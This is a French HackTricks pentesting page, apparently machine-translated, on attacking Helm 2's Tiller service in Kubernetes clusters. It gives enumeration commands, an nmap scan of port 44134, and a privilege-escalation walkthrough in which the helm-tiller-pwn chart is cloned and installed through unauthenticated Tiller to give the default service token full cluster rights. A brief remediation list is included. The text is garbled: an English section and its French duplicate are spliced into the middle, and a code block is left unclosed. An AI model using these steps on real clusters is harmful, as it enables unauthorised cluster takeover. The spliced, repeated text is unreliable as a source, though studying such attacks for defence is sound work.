9 KiB
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.
Informations de base
Helm est le gestionnaire de paquets pour Kubernetes. Il permet de packager des fichiers YAML et de les distribuer dans des dépôts publics et privés. Ces paquets sont appelés Helm Charts. Tiller est le service exécuté par défaut sur le port 44134 offrant le service.
Port par défaut : 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Énumération
Si vous pouvez énumérer les pods et/ou services de différents espaces de noms, énumérez-les et recherchez ceux avec "tiller" dans leur nom :
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
# Pentesting Tiller (Helm)
## Summary
Tiller, the server component of Helm, is often deployed with default settings that may lead to security issues. This section covers methods to exploit these weaknesses.
## Discovery
To discover Tiller instances, scan the cluster for services listening on port 44134, which is the default Tiller port.
## Exploitation
If you find a Tiller instance, you can attempt to exploit it. Since Tiller does not authenticate users by default, anyone can interact with it. This can lead to unauthorized access to the cluster's resources.
### Accessing the Tiller API
You can access the Tiller API using the `helm` command-line tool. If you have network access to the Tiller service, you can use the following command to list releases:
```bash
helm list --host <tiller_host>:44134
This command will show you the releases managed by Tiller.
Deploying Malicious Charts
Helm charts are packages of pre-configured Kubernetes resources. You can create a malicious chart to compromise the cluster. Once you have access to Tiller, you can deploy your chart using:
helm install <chart_name> --host <tiller_host>:44134
This will deploy the chart to the cluster, potentially leading to a compromise.
Remediation
To secure Tiller, consider the following:
- Implement authentication and authorization.
- Restrict network access to Tiller.
- Upgrade to Helm 3, which does not use Tiller.
Conclusion
Tiller instances can be a weak point in Kubernetes clusters. By following the outlined pentesting steps, you can identify and mitigate these vulnerabilities.
Pentesting Tiller (Helm)
Résumé
Tiller, le composant serveur de Helm, est souvent déployé avec des paramètres par défaut qui peuvent conduire à des problèmes de sécurité. Cette section couvre les méthodes pour exploiter ces faiblesses.
Découverte
Pour découvrir les instances de Tiller, scannez le cluster à la recherche de services écoutant sur le port 44134, qui est le port par défaut de Tiller.
Exploitation
Si vous trouvez une instance de Tiller, vous pouvez tenter de l'exploiter. Étant donné que Tiller n'authentifie pas les utilisateurs par défaut, n'importe qui peut interagir avec lui. Cela peut conduire à un accès non autorisé aux ressources du cluster.
Accéder à l'API Tiller
Vous pouvez accéder à l'API Tiller en utilisant l'outil en ligne de commande helm
. Si vous avez un accès réseau au service Tiller, vous pouvez utiliser la commande suivante pour lister les déploiements :
helm list --host <tiller_host>:44134
Cette commande vous montrera les déploiements gérés par Tiller.
Déployer des Charts Malveillants
Les charts Helm sont des paquets de ressources Kubernetes pré-configurées. Vous pouvez créer un chart malveillant pour compromettre le cluster. Une fois que vous avez accès à Tiller, vous pouvez déployer votre chart en utilisant :
helm install <chart_name> --host <tiller_host>:44134
Cela déploiera le chart dans le cluster, pouvant conduire à un compromis.
Remédiation
Pour sécuriser Tiller, envisagez ce qui suit :
- Mettre en œuvre l'authentification et l'autorisation.
- Restreindre l'accès réseau à Tiller.
- Passer à Helm 3, qui n'utilise pas Tiller.
Conclusion
Les instances de Tiller peuvent être un point faible dans les clusters Kubernetes. En suivant les étapes de pentesting décrites, vous pouvez identifier et atténuer ces vulnérabilités.
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Vous pourriez également essayer de trouver ce service en cours d'exécution en vérifiant le port 44134 :
sudo nmap -sS -p 44134 <IP>
Une fois découvert, vous pouvez communiquer avec en téléchargeant l'application cliente helm. Vous pouvez utiliser des outils comme homebrew
, ou consulter la page des versions officielles. Pour plus de détails, ou pour d'autres options, consultez le guide d'installation.
Ensuite, vous pouvez énumérer le service :
helm --host tiller-deploy.kube-system:44134 version
Élévation de privilèges
Par défaut, Helm2 était installé dans l'espace de noms kube-system avec des privilèges élevés, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'élever vos privilèges.
Tout ce que vous avez à faire est d'installer un package comme celui-ci : https://github.com/Ruil1n/helm-tiller-pwn qui donnera au jeton de service par défaut l'accès à tout dans l'ensemble du cluster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
Dans http://rui0.cn/archives/1573, vous avez l'explication de l'attaque, mais essentiellement, si vous lisez les fichiers clusterrole.yaml et clusterrolebinding.yaml dans helm-tiller-pwn/pwnchart/templates/, vous pouvez voir comment tous les privilèges sont accordés au jeton par défaut.
Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres moyens de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le merchandising officiel PEASS & HackTricks
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR aux dépôts github HackTricks et HackTricks Cloud.